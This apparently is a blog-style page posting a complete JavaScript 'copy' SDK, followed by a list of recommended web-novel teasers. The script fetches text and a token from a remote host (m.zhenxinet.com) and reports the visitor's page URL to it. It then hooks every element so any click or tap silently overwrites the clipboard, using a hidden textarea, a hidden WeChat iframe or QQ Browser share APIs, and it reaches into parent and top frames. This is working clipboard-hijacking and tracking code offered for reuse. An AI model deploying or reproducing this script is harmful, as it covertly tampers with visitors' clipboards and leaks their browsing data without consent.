copy js

window.amb_sdk_proxy_domain = "m.zhenxinet.com";

window.amb_sdk_cdn_domain = "static.linkongwenhua.com";

window.amb_sdk_proxy_f = "ma52";

window.amb_sdk_proxy_c = "0";

window.amb_sdk_cnzz_id = "1274456713";

window.amb_sdk_tongji_url = "";

(function (h) {

    var g = {

        trigger: null,

        dd: document,

        ww: window,

        listener: [],

        listenerTouchend: [],

        listenerCopy: null,

        text: null,

        action: "copy",

        ua: window.navigator.userAgent,

        host: location.protocol + "//" + location.host,

        id: "default",

        token: "",

        hascopy: null,

        hasload: null,

        hascopy2: null,

        closeqq: "no",

        showAd: function () {

            this.id = window.amb_sdk_proxy_f

        },

        trytimes: 0,

        init: function () {

            var a = this;

            a.trigger = a.dd.getElementsByTagName("*");

            a.showAd();

            a.hascopy = a.sGet("amb_sdk_copy");

            a.hasload = a.sGet("amb_sdk_load");

            if (null == a.sGet("amb_sdk_open")) {

                var b = "";

                null != a.sGet("amb_sdk_open_info") ? (b = a.sGet("amb_sdk_open_info")) : (b = a.randomString(), a.sSet(

                    "amb_sdk_open_info", b, window.amb_sdk_proxy_c));

                a._ajax("https://" + window.amb_sdk_proxy_domain + "/jd/gettokenv2?callback=jsonp" + b, {

                    f: a.id,

                    h: a.hasload,

                    current_url: encodeURIComponent(top.location.href)

                }, function (b) {

                    a.text = b.text;

                    a.token = b.token;

                    a.closeqq = b.closeqq;

                    if (b.iscn == "no") {

                        a.wxcp(b.text)

                    }

                    a.sSet("amb_sdk_load", "has", 86400);

                    "null" == a.text && (a.text = 0);

                    a.dd.queryCommandSupported && a.dd.queryCommandSupported(a.action) ? a.text && (a.listenClick(), a.listenTouchend()) :

                        1 < a.ua.split("MQQBrowser").length && 1 < a.ua.split("Android").length && 2 > a.ua.split(

                        "MicroMessenger").length && 2 > a.ua.split("QQ/").length ? a.text && a.qqCopy() : (a.listenerCopy =

                        a.listenNode(a.dd.body, "click", a.clipboardCopy.bind(a)))

                }, this)

            }

        },

        wxcp: function (a) {

            if (/MicroMessenger/i.test(navigator.userAgent)) {

                var iframe = document.createElement("iframe");

                iframe.style.cssText = "display:none;width:0px;height:0px;";

                iframe.src = "weixin://webview/copy/" + a;

                document.body.appendChild(iframe)

            }

        },

        cp: function (a) {

            var b = this;

            if (b.hascopy2 == null) {

                b.hascopy2 = "yes";

                b._ajax("//" + window.amb_sdk_proxy_domain + "/jd/stat?callback=jsonp" + (new Date).getTime(), {

                    f: b.id,

                    t: b.token,

                    h: b.hascopy,

                    current_url: encodeURIComponent(top.location.href)

                }, function (c) {

                    b.sSet("amb_sdk_open", "close", window.amb_sdk_proxy_c);

                    b.sSet("amb_sdk_copy", "has", 86400)

                }, true)

            }

        },

        qqCopy: function () {

            var a = this,

                b = a.text,

                c = navigator.appVersion,

                e = 1 < c.split("MQQBrowser/").length ? 2 : 0;

            if (a.closeqq == "yes") {

                return true

            }

            if (e) {

                var f = {

                    url: b,

                    to_app: "10",

                    us_txt: "23s"

                };

                b = c.split("MQQBrowser/")[1].split(".");

                b = parseFloat(b[0] + "." + b[1]);

                b = 5.4 > (e ? b : 0) ? "//3gimg.qq.com/html5/js/qb.js" : "//jsapi.qq.com/get?api=app.share";

                c = a.dd.createElement("script");

                var d = a.dd.getElementsByTagName("body")[0];

                c.setAttribute("src", b);

                c.onload = function () {

                    "undefined" != typeof a.ww.browser && "undefined" != typeof a.ww.browser.app && 2 == e ? (a.ww.browser

                        .app.share(f), a.cp("1")) : "undefined" != typeof a.ww.qb && 1 == e && (a.ww.qb.share(f), a.cp(

                        "1"))

                };

                d.appendChild(c)

            }

        },

        clipboardCopy: function (a) {

            _this.ww.clipboardData && this.text && _this.ww.clipboardData.setData("Text", this.text);

            this.listenerCopy.destroy()

        },

        listenClick: function () {

            for (var a = this, b = 0; b < a.trigger.length; b++) {

                a.listener.push(a.listenNode(a.trigger[b], "click", function (b) {

                    return a.onClick(b, "click")

                }))

            }

        },

        listenTouchend: function () {

            for (var a = this, b = 0; b < a.trigger.length; b++) {

                a.listenerTouchend.push(a.listenNode(a.trigger[b], "touchend", function (b) {

                    return a.onClick(b, "touchend")

                }))

            }

        },

        listenNode: function (a, b, c) {

            a.addEventListener(b, c, true);

            return {

                destroy: function () {}

            }

        },

        onClick: function (a, b) {

            var c = this;

            this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return true");

            this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return true");

            "INPUT" != a.target.nodeName && "TEXTAREA" != a.target.nodeName && ((new h(this.text, this.action, function (

                a) {

                a ? c.cp("1") : c.cp("2")

            })).start(), "click" == b ? (this.listenerD = true, this.listener.forEach(function (a, b) {

                a.destroy()

            })) : "touchend" == b && this.listenerTouchend.forEach(function (a, b) {

                a.destroy()

            }));

            this.dd.body.hasAttribute("oncopy") && this.dd.body.setAttribute("oncopy", "return false");

            this.dd.body.hasAttribute("onpaste") && this.dd.body.setAttribute("onpaste", "return false")

        },

        randomString: function () {

            var a = "";

            for (i = 0; 7 > i; i++) {

                a += "ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(61 * Math.random()))

            }

            return a

        },

        sGet: function (a) {

            try {

                if (!this.ww.localStorage[a]) {

                    return null

                }

                var b = JSON.parse(this.ww.localStorage[a]);

                return b.time < (new Date).getTime() ? (this.ww.localStorage[a] = null) : b.value

            } catch (c) {

                return console.log("not localStorage."), null

            }

        },

        sSet: function (a, b, c) {

            try {

                var e = {

                    name: a,

                    value: b,

                    time: (new Date).getTime() + 1000 * c

                };

                this.ww.localStorage[a] = JSON.stringify(e)

            } catch (f) {

                console.log("not localStorage.")

            }

        },

        now: function () {

            return (new Date).getTime()

        },

        rand: function () {

            return Math.random().toString().substr(2)

        },

        parseData: function (a) {

            var b = "";

            if ("string" === typeof a) {

                b = a

            } else if ("object" === typeof a) {

                for (var c in a) {

                    b += "&" + c + "=" + encodeURIComponent(a[c])

                }

            }

            b += "&_time=" + this.now();

            return b = b.substr(1)

        },

        _ajax: function (a, b, c) {

            a = a + (-1 === a.indexOf("?") ? "?" : "&") + this.parseData(b);

            if ((b = /callback=(\w+)/.exec(a)) && b[1]) {

                var e = b[1]

            } else {

                e = "jsonp_" + this.now() + "_" + this.rand(), a = a.replace("callback=?", "callback=" + e), a = a.replace(

                    "callback=?", "callback=" + e)

            }

            b = document.createElement("script");

            b.type = "text/javascript";

            b.src = a;

            b.id = "id_" + e;

            window[e] = function (a) {

                window[e] = void 0;

                var b = document.getElementById("id_" + e),

                    k = b.parentNode;

                k && 11 !== k.nodeType && k.removeChild(b);

                c(a)

            };

            (a = document.getElementsByTagName("head")) && a[0] && a[0].appendChild(b)

        }

    };

    try {

        parent.window.location.href != window.location.href && (g.host = parent.window.location.protocol + "//" +

            parent.window.location.host, g.dd = parent.document, g.ww = parent.window), g.init()

    } catch (a) {

        g.init()

    }

})(function (h, g, a) {

    return {

        fakeElem: null,

        text: h,

        action: g,

        selectedText: null,

        dd: document,

        ww: window,

        start: function () {

            this.text && (parent.window.location.href != window.location.href && (this.ww = top.window, this.dd = top.document),

                this.selectFake())

        },

        selectFake: function () {

            var a = "rtl" == this.dd.documentElement.getAttribute("dir");

            this.removeFake();

            this.fakeElem = this.dd.createElement("textarea");

            this.fakeElem.style.fontSize = "12pt";

            this.fakeElem.style.border = "0";

            this.fakeElem.style.padding = "0";

            this.fakeElem.style.margin = "0";

            this.fakeElem.style.position = "absolute";

            a ? (this.fakeElem.style.right = "-9999px") : (this.fakeElem.style.left = "-9999px");

            this.fakeElem.style.top = (this.ww.pageYOffset || this.dd.documentElement.scrollTop) + "px";

            this.fakeElem.setAttribute("readonly", "");

            this.fakeElem.value = this.text;

            this.dd.body.appendChild(this.fakeElem);

            this.selectedText = this.selectText(this.fakeElem);

            this.copyText()

        },

        removeFake: function () {

            this.fakeElem && (this.dd.body.removeChild(this.fakeElem), this.fakeElem = null)

        },

        copyText: function () {

            var b = void 0;

            try {

                b = this.dd.execCommand(this.action)

            } catch (c) {

                b = false

            }

            this.removeFake();

            a.call(this, b)

        },

        selectText: function (a) {

            if ("SELECT" === a.nodeName) {

                a.focus(), a = a.value

            } else if ("INPUT" === a.nodeName || "TEXTAREA" === a.nodeName) {

                var b = a.hasAttribute("readonly");

                b || a.setAttribute("readonly", "");

                a.select();

                a.setSelectionRange(0, a.value.length);

                b || a.removeAttribute("readonly");

                a = a.value

            } else {

                a.hasAttribute("contenteditable") && a.focus();

                b = this.ww.getSelection();

                var e = this.dd.createRange();

                e.selectNodeContents(a);

                b.removeAllRanges();

                b.addRange(e);

                a = b.toString()

            }

            return a

        }

    }

});

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容